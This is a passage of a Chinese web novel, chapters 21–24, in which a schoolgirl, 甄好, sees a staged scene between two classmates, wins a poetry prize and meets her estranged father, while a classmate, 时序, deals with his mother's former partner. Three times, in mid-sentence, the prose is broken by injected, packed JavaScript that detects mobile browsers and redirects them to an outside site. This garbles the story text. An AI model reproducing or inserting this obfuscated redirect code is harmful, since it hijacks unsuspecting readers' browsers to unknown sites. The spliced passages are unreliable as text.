甄好微愣。 不是约的十点半吗？ 师杭与这么早就去了？ 猜想他可能提前去等自己了，她就觉得心里不踏实。 她轻咬嘴唇，最终做出一个决定。 21. 为什么这么对她 我越过山川，越过风越过雨，却怎么都去不到你身边。 ——《时序日记》 甄好快步走出教室，来到周淳芮两人面前。 “芮芮，可能真的需要你帮我打扫一下卫生。”她有些急地说道。 “没问题，你快去。”周淳芮爽快地答应道。 甄好甚至来不及跟时序打招呼，便朝后山小跑而去。 从教室去后山不要很久，加上她又特意加快了脚步，不到一分钟就到了。 喻玲特意面向那条唯一通往后山的小道，师杭与则背对着。 只要甄好一出现她便能迅速做出反应。 师杭与刚到的时候，神情是她没想到的冷淡：“什么事？说吧。我一会儿还有事。” 别说欧阳雅雅了，就连喻玲都要怀疑师杭与是不是真的喜欢自己了，不然他怎么对她这么冷淡…… 但箭在弦上不得不发，她只能拼命压制那种说不清道不明的感觉，扬起笑脸对师杭与说道：“杭与同学，虽然你可能不在意我做什么，但上次那件事……” 她故意欲言又止，为的是拖延时间。 见师杭与一副随时想走的样子，她总感觉自己拖不了太久。 死裴小海，动作能不能快点…… 她在心里疯狂催促，生怕自己错过最佳时机。 老天爷好像听到了她的祈祷，下一秒甄好便出现在她的视线里。 师杭与自然没有看见，他在等待喻玲的下文。 然而喻玲没再说话，而是微微踮起脚尖，伸手去摸他的头发。 师杭与条件反射地握住她的手腕，他还没说话，她先开口：“杭与，你头上有一片叶子。” “不用管。”师杭与说完松开她的手。 正是这一松开，喻玲顺势假装崴到脚，整个人直直地往男生身上倒去，还轻声细语地“哎哟”了一声，听起来像娇嗔。 早在看见喻玲和师杭与面对面站着时，甄好就停下了前进的脚步。 后又看见两人卿卿我我的画面，她更是觉得脚上像灌了铅，一步都走不动。 在喻玲倒向师杭与怀抱的那一刹那，甄好再也看不下去，铆足了劲快速转身，朝教室的方向跑去。 她不懂，也不明白。 不明白为什么师杭与约了自己又约了喻玲，难道就是为了看自己笑话吗？ 她满心欢喜地捧着希望而来，为什么要让她看到如此嘲讽的这一幕？ 凌乱的脚步昭示着她乱糟糟的心情，连同大脑也一片混沌。 她根本理不清这其中到底是为什么。 她满脑子都是漂亮的喻玲和俊逸的师杭与真般配…… 由于甄好只顾埋头走路，没注意到自己前方有人，直接一头撞了上去。 她头也没抬，慌忙道歉：“抱歉，同学。” “好好？”时序的声音在夜色里莫名让人觉得安心。 他见甄好慌慌张张地跑出教室，又朝另一个方向跑去，不放心地跟了出来。从周淳芮两人那里得知她要去后山，他二话不说就紧随其后。 虽说是在学校里，但后山那里太黑了，先不说甄好怕黑的问题，他主要是担心不安全。 不承想他还没到就撞上了去而复返的甄好。 听到熟悉的声音，甄好有一瞬的愣怔，半晌才开口：“你……你怎么在这儿？” 他不是应该在做值日吗？ “我……”时序一时语塞，最后选择随口搪塞，“我来看看你偷懒去哪里了，今天教室脏死了，没了勤劳的好好同学，我一个人干不完……” 理由很蹩脚，但甄好信了。 她不仅信了，还忍不住愧疚：“抱歉，我不应该扔下你一个人自己搞卫生……” “你知道就好。”时序轻轻薅住她的后脖颈，而后往前微微一推，“所以快回教室帮忙吧。” 甄好吸吸鼻子，强忍住想哭的冲动，点点头：“知道了。” 时序的视力很好，饶是在昏暗的夜色里，也一眼看出甄好不对劲。加上她带着一些哑的嗓音，他更加确定——她在哭。 为什么哭呢？ 因为谁哭呢？ 发生了什么事？ 他不敢问，也不想问。 他怕问了更伤甄好的心，也会伤了自己心。 从周淳芮告诉他甄好去后山见的人是师杭与开始，他心里就有不好的预感。 第三节晚自习下课的时候，他见师杭与一脸发愁的模样，忍不住好奇地问道：“怎么了？这副表情。” “没事，小问题。”师杭与这样回答他。 “哦。”时序也没再追问。 倒是裴小海大嘴巴直接说了出来：“班花约与哥放学后山见，与哥肯定是紧张呢。” “班花？”时序不解地反问。 “班花都不知道啊？”裴小海轻嗤一声，“班花就是喻玲啊。时序，你不行啊……” 他的话被时序打断：“班花是谁关我什么事，我为什么一定要知道？” 裴小海：“……” 男生之间的话题很简单，无非是吃什么、玩什么，外加聊女生。 时序和师杭与两人的游戏是打篮球，吃什么都行，至于女生，他们从来不聊。 这一次也不例外，师杭与直接切掉了这个话题：“喝什么？我请你们。” 时序停止回忆。 对于甄好喜欢师杭与这件事，他没少听说。起初他认为这只是无稽之谈，是某些人无聊之下的消遣，可有些设定一旦代入，就容易往那方面想。 从最开始的不屑一顾到后来的摇摆不定，他一天比一天觉得，甄好真的喜欢师杭与。 这个发现让他整个人每天都不得劲，无论是面对师杭与还是面对甄好，他都憋着一股说不上来的气，吐不出来也咽不下去。 而此情此景，让他更加确定甄好对师杭与有着不一样的情感。 这个论定让他感觉胸口胀胀的，心里也酸酸的。 这种感觉很陌生，他不懂这叫什么。 那是一种，明明甄好就在他面前，可他就是觉得少女离自己越来越远，远到他做什么都抓不住。 他虽然脸上在笑，心里的无力感却一圈圈泛滥，像遭了一场洪灾，所有的感官在一瞬间流离失所，只剩麻木。 当晚，甄好没再赴约，师杭与自然也等不到她。 翌日。 一则流言悄悄在校园里传播开来。 就连周淳芮都觉得不可思议：“一个月内，两次穿出师杭与和喻玲谈恋爱了的谣言，所以这该不会不是谣言吧？！” 甄好本就因为昨晚的事没睡好，一早又听见周淳芮在自己耳边说师杭与的事，心情难免烦躁，脚步就不自觉加快了些。 她从未告诉过别人自己喜欢师杭与，所以她不怪周淳芮，但她也没办法当什么都没发生，索性不听不问不想，以此来麻痹自己。 到了教室，她刚走进去一抬眼就与师杭与的视线撞了个正着。 她瞬间低下头，不敢再看他。 不管怎么说，昨晚都是她爽约在先。 她低头的刹那，师杭与也收回了视线。 他觉得昨晚的一切哪里不太对劲，但怎么都想不通。最后只当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558296|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是甄好一时忘了与自己的约定，决定改天再找机会向她道歉。 而另一边，裴小海正在发消息邀功：“喻姐，听到大家的议论没？我厉害吧？” 这无聊的学习生活，就该加点刺激的料。他骨子里顽劣不堪，什么好玩玩什么，根本不在乎别人会不会受到伤害。 所以喻玲说什么他都做，也享受那种捉弄人的快感。 喻玲和师杭与谈恋爱的两次谣言都是他散播的，并且十分成功。 别人为考取好成绩而感到骄傲，裴小海为恶作剧成功而觉得倍有成就感。 人与人之间，是不一样的。 喻玲没有回复他的消息，这让他觉得自己做得还不够，于是他继续进行下一步动作。 宋景一落座，他就起身将脑袋凑到师杭与那边，几乎就要越到宋景那头去：“与哥，你真的跟班花那啥啊？” 师杭与听见他的措辞忍不住皱眉：“什么那啥不那啥？别瞎说话毁人名声。我只有四个字送给你，清者自清。” 裴小海不禁撇嘴。 好一个“清者自清”。 在他看来，师杭与的性格无趣到多少有点没劲。 他没再理会师杭与，而是将话头抛向宋景：“哎，景哥，你不好奇吗？” 宋景吊儿郎当地嚼着口香糖，反问他；“我应该好奇什么？” “好奇班花是不是真的在跟与哥这小子谈恋爱啊。”裴小海理所当然道。 对于喻玲所说的，他深信不疑。 毕竟班花就是班花，那张脸漂亮得很权威，同时被师杭与和宋景青睐一点都不奇怪。 然而宋景的回答让他失望了：“不好奇。” 裴小海：“……” 上课之前的教室总是吵吵嚷嚷的，甄好耳边充斥着各种声音，让本就不愉快的她越发郁闷，索性趴在桌子上，当起了缩头乌龟。 喻玲对于那些谣言根本不当回事，她只在意宋景听了是什么反应。 她也很快收到了裴小海这个“细作”的情报：“景哥只说了三个字。” “哪三个字？”她忙回复。 “对于你和与哥谈恋爱这事，景哥说——”裴小海分成两句话发过来，“不好奇。” 喻玲：“……” 看着裴小海发来的消息，她攥紧双拳，不甘心地看着宋景的背影。 她不信宋景毫无反应。 既然这个方法行不通，那她只能实行B计划了。 时间在喻玲等待下一次机会中悄悄溜走，日历一页一页地翻过去，迎来新的一周。 三人行变成两人行，鄢云书从这一周开始不再与甄好两人一起上下学。 “还真不习惯没有云云无声的陪伴。”周淳芮和甄好并肩骑着单车，忍不住感慨道。 甄好也感觉很不习惯：“好想快点上高中，然后考大学，这样我们就又可以形影不离了。” 周淳芮也不禁期待起来：“为了形影不离，晚上怒刷五套卷子！” 甄好瞥了她一眼，凉凉地打击道：“怒吃五包零食还差不多。” 周淳芮：“……” 两人像往常一样，顺利地抵达学校，顺利地回到寝室，又顺利地走去教室准备上晚自习。 甄好走进教室的一刹那，就感觉到有几道目光齐刷刷地落在自己身上。 与之前那种带着一丝恶意的探究不同，这一次她感受到了不一样。 人生每时每刻都在发生变化，而这一次的变化之大，让甄好险些接不住。 如果不是亲眼所见，她根本不敢相信这件事真真实实地发生在自己身上。 22. 梦想开花的声音 小时候渴望的长大后才被满足，比亡羊补牢还可笑。 ——《时序日记》 不喜欢被过度关注的甄好努力装作若无其事的样子，目不斜视地回到自己的座位。 她总是这样，明明心里虚得要死，表面看起来却无比淡定，任谁也看不出她的真实想法。 这就是所谓的“外强中干”吧。 她再一次在心里自嘲。 刚落座，坐在她旁边的姚明娜就递过来一本杂志：“好好，你快看。” 杂志摊开在某一页，甄好垂头看到了熟悉的文字。 那上面刊登的正是她投给《译林》杂志的现代诗！ 虽然无缘一二三等奖，但她也拿到了优秀奖，而优秀奖全国只有十个名额！ 意识到发生了什么，甄好的心先是怦怦直跳，而后不敢置信地掐了一下自己的大腿——疼。 不是在做梦。 这一切就像天边的浮云，缥缈得不像话。她一动不敢动，生怕动静太大眼前的事物就化为虚影，飞向天际。 她从没想过，她一个字一个字写在科作业纸上的文字有朝一日会被印成铅字，会被印在全国发行量第一的刊物上。 这种难以言喻的惊喜和成就感几乎要将甄好整个人淹没，让她一个字都说不出来。 眼前的文字甚至变得模糊起来，可那首不过百来字的诗，哪怕是视线蒙眬，她也能一字不落地背下来。 ——小小的我，踏着朝阳，翻过高高的山 ——脚下满是泥泞，荆棘会开出梦想的花 —— —— ——我在山的这头，梦想在山的那头 ——小小的我，想越过高山，迎接艳阳 甄好拼命地眨了几下眼睛，视线才重新恢复清明。 她伸手摸索着纸张上的每一个文字，动作轻柔到像在对待一件举世无双的珍宝。 当初投稿时，她没有想太多，署名直接用的本名，甚至连学校和班级都写了上去。 这也就是为什么大家都用艳羡和敬佩的眼神看着她。 在初一的上学期期末复习周，甄好听到了梦想开花的声音。 周淳芮也在其他同学那里看到了甄好被刊登的文字，激动得整个人直接反坐在椅子上面对她：“好好，好好！你成功了！啊啊啊！我太开心了！我好朋友的名字上杂志了！我怎么这么牛逼拥有这么牛逼的朋友！啊啊啊！” 甄好被她的措辞逗笑：“芮芮，淡定。” “淡定不了一点啊！”周淳芮看起来甚至比甄好这个当事人还要兴奋，“我恨不得告诉全世界这个好消息！” 鄢云书也转过身，真心祝福甄好：“好好，恭喜你得偿所愿。” “嘿嘿，谢谢云云。”甄好后知后觉感到羞赧。 不知何时，除了姚明娜，还有几个女生也围了过来，纷纷用崇拜的眼神看着甄好。 “甄同学，你好厉害啊！” “这首诗写得真好，呜呜，写出了我的心声。” “对啊对啊，我眼睛都看红了。” 发出赞美之声的都和甄好一样，都是来自大山里的女孩。 “好好，你好棒！”喻玲强忍着嫉妒之心赞美道，末了又问了一个问题，“不过好好，你没有收到……就是……样刊吗？” 她装作想了想，才说出完整的句子。 其实她别无他想，她就是想看甄好在任何时刻出糗而已，不管这个糗是大还是小。 果真，甄好听了她的话，脸上浮现局部的表情，愣愣地回道：“啊，我还没……没收到。” 周淳芮看了喻玲一眼，不屑地冷哼一声：“这有啥？刚好周末，没收到不是很正常吗？” 她一向觉得喻玲这个人假得很，也就甄好拿人当宝。 说完，她转而对甄好说道：“好好，明天我陪你去邮局看一下。” “好啊。”甄好感激地对替自己解围的周淳芮点点头。 上课铃声的响起让几个女生没有机会再多说什么，学生的任务说回归就回归。 期末复习周让每个人都进入备战状态，饶是对学习不甚在意的宋景等人都安安静静地咬着笔杆做题。 甄好得奖的喜悦也很快被海量的练习题所掩盖，彻底沉入题海。 闽县六月的天已经热得燥人，头顶的风扇根本吹不走暑气。班里基本上每个同学都会自备一把小扇子，热的时候猛扇几下，又继续低头做题。在如此循环往复之下，一周的时间悄悄溜走。 周五下午放学，甄好和周淳芮一如往常朝校门口的停车棚走去。 刚走到校门口，她不经意的抬眼间看到时序上了一辆看起来就很贵的车。 见周淳芮好像没看到，她也就收回目光，当什么都没发生过。 只是心里的疑惑就像春日的雨，缠缠绵绵，经久不散。 下课前十分钟，时序收到母亲的短信：“阿序，妈妈等下接你放学。” 时序先是想到自己的单车怎么办，后又觉得大不了周日叫辆车来学校就是，于是高高兴兴地回复：“好啊，晚上我要吃大餐。” 高高兴兴的时序看到时谙坐在那个叔叔的车里时，顿时不高兴了，转身就要走。 时谙手疾眼快地拉住他：“阿序，好多同学看着呢，先上车好不好？” 时序深知她说得对，可他还是在原地别扭了一会儿，才不情不愿地钻进车里。 手握方向盘的裴延东转过头笑着对他说：“小序，后面都是你爱的零食，你随意啊。” 坐在副驾驶的时谙也跟着道：“还有你爱喝的。” 一个人坐在后座的时序一直沉默着，一句话都没有说。 时谙又掩饰般地开口：“你裴叔叔刚好过来办点事，我想着……” “妈——”时序终于开口打断她，“晚上吃什么？我饿了。” 他的心理很矛盾。 一边理解时谙一个人带自己太过辛苦想找个依靠，一边又任性地不肯接受家里多了一个“后爸”…… 认真说起来，裴延东对他很好，对时谙更好，他没什么理由讨厌他。 车子已经平缓地行驶在公路上，将时序带向未知的目的地。 他看向窗外的一刹那，正好看到甄好骑着单车与自己朝着相反的方向驶去。 然后距离越来越远，越来越远。 一种强烈的失落感顿时裹挟住他，像心脏破了一个洞，寒风呼呼地往里刮，又疼又冷。 裴延东带他们母子去了一家看起来就很高档的私人会所，门口有人专门接应。 时序却站在门口不肯动。 “阿序，怎么不走了？”自从消失十三年的裴延东突然出现，面对儿子，时谙总是小心翼翼的。 “我突然不饿了。”时序闹起了脾气。 裴延东很有耐心：“是不是不喜欢这家？那我们换一家。” “阿序，不可以……” 时谙的话被裴延东打断：“没关系。” 说完，他转而问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565520|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时序：“吃牛排可以吗？” 时序绷着脸：“不吃。” “那粤菜？”裴延东又问。 “不喜欢。”他说什么时序都持反对态度。 时谙听不下去了：“东哥，只是吃顿饭，不要惯着他。” 裴延东依旧好脾气道：“吃饭不挑喜欢的，那吃起来还有什么意义？” 他侧头看着时序：“是吧？小序。” 他说得太对了。 时序在心里疯狂赞同。他强忍住点头的冲动，撇开头不看裴延东。 “这样吧。”裴延东将选择权交给时序，“你想吃什么就吃什么。” “我要吃肯德基。”时序毫不犹豫地说道。 他的确想吃汉堡炸鸡喝可乐，但他也知道大人不喜欢小孩吃这些东西。 果真，时谙先出声拒绝：“不准吃这些没营养的垃圾食品。” 谁知裴延东竟满口答应：“好啊，咱们就吃肯德基。” “东哥——”时谙还想再说什么，却被裴延东一个眼神阻止。 时序不屑地冷哼。 怎么看都觉得这个姓裴的是在讨好他。 没劲。 “我又改变主意了，不想吃肯德基了。”少年的任性没完没了，“我要吃闽州鱼丸、炒白粿、面线糊、闽市肉粽、沙茶面、海蛎煎、炸醋肉、五香卷、四果汤，还有土笋冻。” 时谙一听直接忍不住了：“时小序，你是不是故意的，这么多你吃得完吗？” 时序说的这些都是闽市有名的特色小吃，可想要在一家店里吃到几乎不可能。 他这明摆着是为难裴延东。 “我就要吃。”时序丝毫不为所动。 “没问题。”裴延东依旧面不改色。 他又开了几分钟的车，带着两人来到一家烟火气十足的小店。 落座后，他先点了几样吃食，而后对他们说道：“你们先坐着等我一下，我很快就回来。” 时序母子俩没有等太久，大概过了十五分钟，裴延东手里提着几个打包袋，正是这家店所没有的时序想吃的其他小食。 “你想吃的都在这里了，多吃点，正是长身体的年纪。”裴延东笑着将东西推到时序面前。 时序嗫嚅半晌，终是只说了两个字：“多谢。” 三人无声吃饭的同时，甄好才刚到家。 她到家看到的第一个人是甄美。 “阿姐，阿姐，爸爸回家了。”甄美一看到她就这样说道。 甄好心里咯噔一声。 她有多久没见父亲了？ 一年，两年，还是三年？ 她已经记不清了。 她记不清的不仅仅是时间，还有父亲的面容。 这种巨大的陌生感让她没有第一时间跑去找父亲，而是反问：“家里怎么这么安静？” 按理说，母亲的大嗓门和甄黎的吵闹声才是这个家的主旋律。 “哦，妈妈带着弟弟去邻居家听《陈三五娘传说》了。” 原来如此。 这就不奇怪了。 镇里的人们都喜欢听这部民间文学，她原以为只有大人们喜欢，直到发现姚明娜也钟爱听这种歌仔戏，她才意识到喜好不分年龄。 甄好走去榉头放下书包，才在屋里转悠起来。 想见父亲的心到底还是一寸寸地膨胀起来。 她刚走到奶奶的房间门口，就听见父亲说了一句话。 一句让她定在原地动弹不得的话。 23. 买错尺码的毛衣 我开始允许自己迟到，允许自己出错，甚至允许自己不会。 ——《时序日记》 “阿成，跟老婆孩子聚少离多总归不是事。”甄奶奶的语气不紧不慢，“你在外面拼搏这么多年，也没混出个什么名堂，有没有想过回老家发展？多陪陪老婆孩子。” “婚姻不幸福，哪有劲赚钱？”甄东成答非所问。 “那孩子呢？你就不为孩子考虑考虑吗？”甄奶奶有些心虚。当年是她棒打鸳鸯，非要大儿子跟何允莲完婚。 “孩子？”甄东成冷静得像是在说别人的事情，“孩子是您想要的，是您嫌没有孙子在别人面前抬不起头来以死相逼才有的。” 他的声音明明听起来无波无澜，却在甄好心上狠狠地扎了一个洞，只一瞬间，便汩汩向外流着血。 为什么她的父母好像跟别人的不一样？ 既然在一起这么痛苦干脆离婚啊！ 在别的小孩都害怕父母分开的年纪里，甄好恶毒地这样想。 没有问过孩子愿不愿意就将他们带到这个世上就算了，还没办法给孩子应有的爱，这是大人的不负责任，是大人的错！ 甄好胡思乱想着，只能靠紧紧咬住嘴唇才能够不让自己哭出声来。 听到里头传来脚步声，她一个闪身，躲进了小厨房。 厨灶还是爷爷在世时修的那个，那扇小小的烤箱门已经在年月的洗礼下发黑发黄。 她突然很想吃烤地瓜。 可是她好像再也吃不到记忆里的那种味道。 她绕去粮仓房拿了地瓜准备回厨房时，到底还是与甄东成迎面碰上了。 父女俩都在原地站定，没有说话，也没有继续向前。 甄好一句“爸”卡在喉咙里却怎么都叫不出口。 还是甄东成先抬手，想要摸摸她的头，可最后还是放了下来，只说了句：“好好长高了，有一米六了吧？” 他说矮了。 甄好撇撇嘴，有些不高兴地反驳：“我已经长到一米六五了！” 她在班上的女生里个子是数一数二的，常被人单独拿出来说，并表示羡慕。 甄东成一愣，片刻后才笑了笑：“我给好好和阿美带了礼物，就放在你们屋里，快去看看。” 如果刚刚没听到他说的那些话，甄好一定会兴高采烈地飞奔到房间，一定会觉得“爸爸世上第一好”，可世上没有如果。 “谢谢……”甄好艰难地挤出那个字，“爸。” 甄东成只当是孩子许久没见自己有些生疏了，没有想太多。 “去吧。”他伸出手，“地瓜给我吧，我来。” 他知道大女儿喜欢吃烤地瓜。 这回甄好只是顺从地把地瓜递给他，没再开口说话。 她心情沉重地走回房间，果真看到桌子上放着一个纸盒和一个大袋子。 彼时甄美刚好也冲进了房间，见到她兴奋得两眼放光：“阿姐，爸爸说给我们带了礼物！是什么是什么？” 说着，她上手去打开盒盖。 甄好也动作缓慢地掀开袋子往里看去。 里面是衣服。 六月末的天，甄东成给姐妹俩买了两件高领毛衣。 她的是米白色带着一点点粉色边，很干净少女的颜色。 甄美的是鹅黄色带点嫩柳色，娇俏又可爱。 “阿姐，好多童话书！”甄美只觉得眼睛应接不暇，“这两件衣服也好漂亮！” 甄好将视线移到被甄美翻出来的那些书籍上，目光落在一本名著上。 在一众如《安徒生童话》《格林童话》《一千零一夜》《伊索寓言》中，《格列佛游记》显得有些特别。 在她阅读物贫瘠的小学生涯里，虽说没能像别的小孩拥有自己的童话书，却也听过不少童话故事，《格列佛游记》对她来说也就显得尤其新鲜。 她拿起它，翻开第一页。 甄美还在为收到礼物而欢欣雀跃，甄好已经慢慢沉入格列佛周游四国的世界。 这是她看过的第一本世界名著，最重要的是，它是来自父亲的礼物。 她一看就看到停不下来，要不是甄东成来告诉她地瓜熟了，她都没有察觉到时间的流逝。 去邻居家听歌仔戏的何允莲彼时也带着甄黎回了家，看到久未见面的甄东成只是不咸不淡地说了句：“哟，家里的顶梁柱舍得回家啦？” 这话说得有多尖酸刻薄，只有身为大人才明白。 甄奶奶自是向着儿子的，听她这样阴阳怪气，也跟着阴阳怪气：“哟，家里的老佛爷舍得回家吃饭啦。” 在她眼里，何允莲是个十足的懒婆娘。早上要是没事准睡到日上三竿，一点也不知道几个孩子正在长身体，需要吃早饭；一日三餐能叫女儿做的绝不自己动手，特别是小女儿，个子才高过灶台没多少；家里的牲畜和农作物，更是都仰仗她这个老人家和两个小的。 她真是没见过比何允莲还懒还不负责的母亲。 也许他们说得对，当年她就不该按头让两人结婚，她就该任由何允莲去嫁人，都是她造的孽。 每回受了何允莲的气，甄奶奶就总是忍不住这样想。 在甄家的饭桌上，几乎没有出现过和谐的时候。 甄好厌倦了这种氛围，快速吃完碗里的饭菜和烤地瓜，便躲回屋里继续看书。 到了该洗漱的时候，她才依依不舍地放下书。 乡下多蚊虫，甄好先点好了蚊香才去往建在室外的浴室。 那个浴室是她最不喜欢的地方之一。 简陋的棚屋外加一个风稍微大一点就会被吹起来的帘子便是他们一家人每日洗澡的地方。 天没黑时，甄好不敢去洗。因为怕突然吹来的一阵风，不小心让谁看见光溜溜的自己。 天黑了以后，她也不敢去洗。因为怕黑，怕黑暗里突然窜出□□，甚至是蛇来，更怕夜里的鬼魅无声无息地靠近。 所以每一次她都会叫上甄美站在浴室外面等自己洗完，再一起回屋。 这次也不例外。 她一边洗还要一边跟甄美有一搭没一搭地说着话，心里才踏实。 “阿美，你在外面吗？”每隔一分钟她都要这样问。 “阿姐，我在的。”甄美每次都会乖巧地回答。 如此一来，甄好的心才彻底放下。 只要一想到外面有人陪着自己，等着自己，她就什么都不怕了。 洗完澡回到卧室，姐妹俩摸着那柔软的新毛衣，两人脸上都写着蠢蠢欲动。 她们快速地交换一个眼神，快速地脱衣穿衣。 可惜的是——甄好的衣服尺码买小了，无论她怎么努力都穿不进去。 她失望地垂下因为多次试穿不成而变得酸软的双臂。 看着甄好失落的样子，甄美学着奶奶的样子，轻轻地摸了摸她的头：“阿姐不难过，等阿美长大了给阿姐买一屋子的衣服，好不好？” 甄好听了心里泛起酸，也泛起一丝暖意。 她看着甄美清澈的眼睛，弯起嘴角笑了：“好啊。阿姐等你长大。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570998|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姐，你愿意让我叫你阿姐了？”甄美却抓住了另一个重点。 甄好不好意思地别开头，不肯承认：“什么啊？我什么都没说。” “就有，阿姐承认是我阿姐了！”甄美伸手去挠她痒痒。 小小的屋里，洋溢着大大的幸福。 吃完饭，裴延东送时序母子回到家时，已是晚上十点钟。 一路上时序始终保持着沉默，直到下了车也没说一句话。 车子停稳后，他身姿轻盈地跳下车，一颗心却沉甸甸的。 “阿序，你先去洗漱，妈妈送送你裴叔叔。”时序刚走到门口，时谙的声音就在他身后响起。 他只是脚步顿了顿，没搭话。 反正不管他说什么，时谙都不会因为他而改变什么决定，那他不如什么都不说，也不管。 裴延东是城里人，送完他们还得开车回自己家，就当是礼貌，时谙去送送他也没什么问题。 时序这样安慰着自己，魂不守舍地进了时谙特意为他收拾出来的一间小小书房。 为了给他更好的物质条件，时谙一个人真的撑得很辛苦…… 时谙趴在书桌上，任由思绪纷飞，不知不觉间，竟睡着了。 门外。 裴延东将车熄了火，没了刺目的车灯，周遭的一切变得安静又宁和。 小镇的人们多半早早就睡了，这个时间点几乎看不到有人在外面行走。 这让时谙紧张的心略微放松了些许。 被邻里邻外看到总是爱多嘴多舌，她不喜欢这种感觉。 “东哥，今晚不好意思啊。”时谙替时序道歉，“小序可能学习压力有点大，他……” 看她努力措辞的模样，裴延东笑了笑：“谙谙，你为什么要跟我道歉呢？” 一句“谙谙”将时谙瞬间拉回少女时代，拉回她刚跟裴延东恋爱的那些年。 可惜时移世易，如今他们再不是那个天不怕地不怕的年纪了。 “该道歉的人是我。”裴延东垂下脑袋，“是我没有尽到应尽的责任，是我让小序从小就没有爸爸。这十三年来，是我对不起你们母子俩……” 时谙不想再听下去，打断他：“别说了，都过去了。” 她下着逐客令：“你开车注意安全。” 说完，她便不再眷恋，转身朝屋里走去。 在她人生里缺席十三年的裴延东跟她提出过结婚，承诺往后余生都会照顾她和时序，她也曾心动过。 可年少时的遗憾真的是说补偿就能够补偿的吗？ 时谙不知道。 她只是听从内心的选择，拒绝了裴延东迟来的求婚。 至于后来为什么会频繁见面，只有一个原因——时序需要父亲的爱。 哪怕现在不能直接告诉时序这个真相，她也希望有朝一日他们父子俩能够和睦相处。 看着时谙丝毫不留恋的背影，裴延东心里像起了一场海啸，久久无法平静。 他却也深知这是自己的报应。 直到时谙完全消失在自己的视线里，他也没有上车回家，而是站在车边抽了一根又一根烟。 时谙人是进了屋，心却还留在外面。 一直没有听到汽车引擎声响起，她便知道裴延东还没走，也猜到他一定是在抽烟。 她很想劝他少抽点烟，但最后还是忍住了。 她用什么立场劝呢？ 不知过了多久，终于传来汽车发动的声音。 听着越来越远的车轮轧地声，时谙的心好像也跟着飘远。 24. 告诉你一个秘密 长大好像很遥远，又好像就在一瞬间。 在我明白大人难处的那一瞬间。 在我心疼大人不容易的那一瞬间。 ——《时序日记》 星期六一大早，甄好还在睡梦中，就隐隐约约听到熟悉的声音。 甄美同样还没睡醒，应该也是听到了声响，嘤咛了一声。不过小孩子入睡快，她翻了个身便很快又没了动静。 此时天光已经大亮，甄好睁开眼睛看了一眼墙上的挂钟。 竟然已经是早上八点钟。 换成以往，她们姐妹俩早就被何允莲的大嗓门喊着起床做早饭和喂鸭子了。 那这天是怎么回事？ 甄好的大脑转动片刻，无果便放弃了思考。 而熟悉的声音再度传来：“好好和阿美呢？我可想死她们了。” 是小姑回家了！ 这下甄好的脑子彻底清醒了。 意识到这是真的，她一骨碌从床上坐了起来，同时晃了晃熟睡中的甄美：“阿美，醒醒，小姑回来了。” 她们这个小姑个性得很，经常来无影去无踪，可能上一秒还在餐桌上与家人说笑，下一秒就骑上她那辆拉风的机车不知去向何方。 饶是结婚了也没有改变她分毫。 甄爷爷给小姑取名甄温柔，可她一点也不温柔，反而恰北北的（闽南语，类似“母老虎”的意思）。 因为怕小姑风风火火地来又风风火火地走，甄好十分努力地摇醒了甄美。 她揉着惺忪的睡眼，喃喃道：“阿姐，是该起床做饭了吗？” 看着她下意识的反应，甄好不由得涌起一阵心酸。 是什么样的生活才会让她的本能反应都变成了做饭…… “是小姑回来了！”甄好压下心中苦涩，咧开笑脸对甄美说道，“我先去洗漱，你也快点啊。” 听清她的话后，甄美眼睛一亮：“小姑回来了！” 姐妹俩对于小姑的到来都显得兴奋无比，不多时两个人便齐齐出现在甄温柔面前。 甄好乖巧地喊人：“小姑，你回来啦。” “小姑，阿美想你啦！”甄美则更会撒娇。 甄温柔蹲下身，一只手搂着一个，脸上的笑容比此时的阳光还要明媚：“小姑也好想你们。” 这时，甄东成从厨房出来，见到三个人拥在一起，眼里闪着说不清道不明的光，随后喊道：“阿柔，带着两个小的进来吃早饭吧。” 甄好回身看着系着围裙的父亲，她和妹妹得以睡懒觉有了明显的解释。 父亲代替她们，干了本属于她们的活儿。 这一顿早餐是甄好有记忆以来，一大家子难得其乐融融的时刻。 就连何允莲好似也比平日里温柔，时不时地给小姑夹菜不说，还剥了两个水煮蛋，给甄好姐妹俩一人一个。 而一直调皮不已的甄黎也安安静静地喝着粥，没有出现平日里需要何允莲追着喂饭的情况。 他只是睁着大大的眼睛时不时看一眼甄温柔，又看看沉默不语的甄东成。 吃过早餐，甄温柔神秘兮兮地叫住姐妹俩：“好好、阿美，小姑要给你们变个魔术，叫无中生有。” “哇，小姑会变魔术！”甄美眨巴着圆圆的杏眼，拍手道，“阿美想看。” “想看就和你阿姐去房间里，小姑的魔术马上开始。”甄温柔一只手揉着一颗小脑袋，笑眯眯道。 